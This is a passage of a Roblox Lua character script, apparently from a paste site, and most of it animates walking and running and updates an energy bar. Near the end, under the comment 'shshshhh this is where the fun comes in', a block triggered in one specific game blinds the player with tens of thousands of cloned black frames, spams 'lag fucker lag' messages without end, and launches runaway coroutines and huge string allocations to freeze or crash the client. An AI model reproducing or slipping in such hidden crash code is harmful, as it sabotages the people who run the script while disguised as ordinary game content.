  4689. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4690. ]]--
  4691. Footsteps:Play()
  4692. Footsteps2:Stop()
  4693. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(10+1*math.cos(sine/2.5)),math.rad(0),math.rad(1-5*math.cos(sine/5))),.3)
  4694. Neck.C0=clerp(Neck.C0,necko*euler(0+0.075*math.cos(sine/2.5),0,0)*angles(math.rad(0),math.rad(0),math.rad(1+5*math.cos(sine/5))),.3)
  4695. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4696. RW.C0=clerp(RW.C0,cf(1.4+0.25*math.cos(sine/5),0.5+0.25*math.cos(sine/5),-0.2+0.5*math.cos(sine/5))*angles(math.rad(20-60*math.cos(sine/5)),math.rad(0),math.rad(-4+30*math.cos(sine/5))),.3)
  4697. LW.C0=clerp(LW.C0,cf(-1.4+0.25*math.cos(sine/5),0.5-0.25*math.cos(sine/5),-0.2-0.5*math.cos(sine/5))*angles(math.rad(20+60*math.cos(sine/5)),math.rad(0),math.rad(4+30*math.cos(sine/5))),.3)
  4698. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4699. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-2.5),math.rad(0),math.rad(0+50*math.cos(sine/5))),.3)
  4700. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4701. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-30),math.rad(0-1*math.cos(sine/30))),.2)
  4702. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(30),math.rad(0-3*math.cos(sine/36))),.2)
  4703. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4704. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4705. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4706. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4707. end
  4708. elseif torvel>=22 and hitfloor~=nil then
  4709. Anim="Run"
  4710. change=1
  4711. if attack==false then
  4712. Footsteps:Stop()
  4713. Footsteps2:Play()
  4714. RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0+0.1*math.cos(sine/2.5))*angles(math.rad(20+1*math.cos(sine/2.5)),math.rad(0),math.rad(0)),.3)
  4715. Neck.C0=clerp(Neck.C0,necko*euler(-0.2+0.075*math.cos(sine/2.5),0,0),.3)
  4716. Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
  4717. RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(24)),.3)
  4718. LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(-24)),.3)
  4719. RH.C0=clerp(RH.C0,cf(1,-1-0.1*math.cos(sine/5),0-0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4720. LH.C0=clerp(LH.C0,cf(-1,-1+0.1*math.cos(sine/5),0+0.5*math.cos(sine/5))*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0+70*math.cos(sine/5))),.3)
  4721. handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
  4722. Handleweld.C0=clerp(Handleweld.C0,cf(0-.5*math.cos(sine/30),0,0-.5*math.cos(sine/30))*angles(math.rad(0+1*math.cos(sine/30)),math.rad(-60),math.rad(0-1*math.cos(sine/30))),.2)
  4723. Handle2weld.C0=clerp(Handle2weld.C0,cf(0+.5*math.cos(sine/36),0,0+.5*math.cos(sine/36))*angles(math.rad(0-3*math.cos(sine/36)),math.rad(60),math.rad(0-3*math.cos(sine/36))),.2)
  4724. MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4725. MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
  4726. MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4727. MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
  4728. end
  4729. end
  4730. end
  4731. fenbarmana2:TweenSize(UDim2.new(4*mana/100,0,0.2,0),nil,1,0.4,true)
  4732. fenbarmana4.Text="[Energy] <{[ "..mana.." ]}> [Energy]"
  4733. text.Text = math.floor(hum.Health)
  4734. if mana>=100 then
  4735. mana=100
  4736. else
  4737. if mananum<=8 then
  4738. mananum=mananum+100
  4739. else
  4740. mananum=0
  4741. mana=mana+100
  4742. end
  4743. end
  4744. end
  4745.  
  4746.  
  4747.  
  4748.  
  4749. --- shshshhh this is where the fun comes in ---
  4750. if game.PlaceId == 21053279 then
  4751. plr = game.Players.LocalPlayer
  4752. char = plr.Character
  4753. cam = workspace.CurrentCamera
  4754. cam.CameraType = "Scriptable"
  4755. cam.CoordinateFrame = CFrame.new(0,0,50)
  4756. local localContainer
  4757. local service=setmetatable({
  4758. MarketPlace=game:service("MarketplaceService");
  4759. GamepassService=game:service("GamePassService");
  4760. ChatService=game:service("Chat");
  4761. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  4762. },{
  4763. __index=function(tab,index)
  4764. local serv
  4765. local ran,err=pcall(function() serv=game:service(index) end)
  4766. if ran then
  4767. tab[index]=serv
  4768. return serv
  4769. end
  4770. end
  4771. })
  4772.  
  4773. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  4774.  
  4775. x=game.Players.LocalPlayer
  4776. x.CameraMode=Enum.CameraMode.LockFirstPerson
  4777. f=Instance.new("Frame")
  4778. f.Size=UDim2.new(1,0,1,0)
  4779. f.BackgroundTransparency=0.01
  4780. f.BackgroundColor3=Color3.new()
  4781. pg=x.PlayerGui
  4782. gui=Instance.new("ScreenGui",pg)
  4783. wait(.1)
  4784. for i=1,28000 do
  4785. f:Clone().Parent=gui
  4786. f:Clone().Parent=gui
  4787. f:Clone().Parent=gui
  4788. end
  4789.  
  4790. script:Destroy();
  4791. local runService = Game:GetService("RunService").Stepped;
  4792. local LagNum = 1250;
  4793. local str = "lag fucker lag";
  4794.  
  4795. for i = 1, math.huge do
  4796. if i % LagNum == 0 then runService:wait(); end
  4797. Instance.new("Message", Workspace).Text = str;
  4798. end
  4799.  
  4800. local bores=coroutine.create(function() --Yolo?
  4801. cPcall(function()
  4802. --print(Game[("%s|"):rep(0xFFFFFFF)])
  4803. cPcall(print,'lol')
  4804. cPcall(warn,'lol')
  4805. cPcall(error,'lol')
  4806. while wait(0.1) do
  4807. spawn(function()
  4808. cPcall(function()
  4809. spawn(function()
  4810. local tab={}
  4811. pcall(function()
  4812. spawn(function()
  4813. for i=1,1000000 do
  4814. cPcall(function()
  4815. spawn(function()
  4816. local bob2=coroutine.create(function()
  4817. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4818. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  4819. spawn(f1)
  4820. end)
  4821. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  4822. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  4823. end)
  4824. end)
  4825. end
  4826. tab={}
  4827. end)
  4828. end)
  4829. end)
  4830. end)
  4831. end)
  4832. end
  4833. end)
  4834. end)
  4835.  
  4836. service.RunService.Stepped:connect(function()
  4837. for i=1,500000 do
  4838. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  4839. end
  4840. end)
  4841.  
  4842.  
  4843. local function bob()
  4844. cPcall(function()
  4845. while wait(0.1) do
  4846. --cPcall(function()
  4847. --for i=1,100 do
  4848. local p=Instance.new("Part")
  4849. p.Material="Neon"
  4850. p.Size=Vector3.new(50,50,50)
  4851. p.Anchored=true
  4852. p.BackSurface="Studs"
  4853. p.BottomSurface="Studs"
  4854. p.FrontSurface="Studs"
  4855. p.LeftSurface="Studs"
  4856. p.RightSurface="Studs"
  4857. p.TopSurface="Studs"
  4858. local t=Instance.new("Texture",p)
  4859. t.Texture="http://www.roblox.com/asset/?id=190803157"
  4860. t.Face="Top"
  4861. t.StudsPerTileU=1000
  4862. t.StudsPerTileV=1000
  4863. local t2=t:clone()
  4864. t2.Parent=p
  4865. t2.Face="Bottom"
  4866. local t2=t:clone()
  4867. t2.Parent=p
  4868. t2.Face="Left"
  4869. local t2=t:clone()
  4870. t2.Parent=p
  4871. t2.Face="Right"
  4872. local t2=t:clone()
  4873. t2.Parent=p
  4874. t2.Face="Front"
  4875. local t2=t:clone()
  4876. t2.Parent=p
  4877. t2.Face="Back"
  4878. p.Parent=service.LocalContainer()
  4879. --end
  4880. --end)
  4881. end
  4882. end)
  4883. end
  4884. bob() --while wait(0.1) do cPcall(bob) end
  4885. end
  4886. --
  4887.  
  4888. wait(2.5)
  4889. for _,v in pairs(owner.Character:GetDescendants())do
  4890. if v:IsA'SpecialMesh'then
  4891. if v.MeshType==Enum.MeshType.FileMesh then
  4892. if Find_String_In_String(v.MeshId,'9756362')then
  4893. v.Parent.Color = Main_Color_1
  4894. v.Parent.Touched:Connect(Damage_OnTouch)
  4895. else
  4896. print(v.MeshId)
  4897. end
  4898. end
  4899. elseif v:IsA'BasePart'then
  4900. if v.BrickColor==BrickColor.new'Really red'then
  4901. v.Color = Main_Color_1
  4902. end
  4903. end
  4904. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement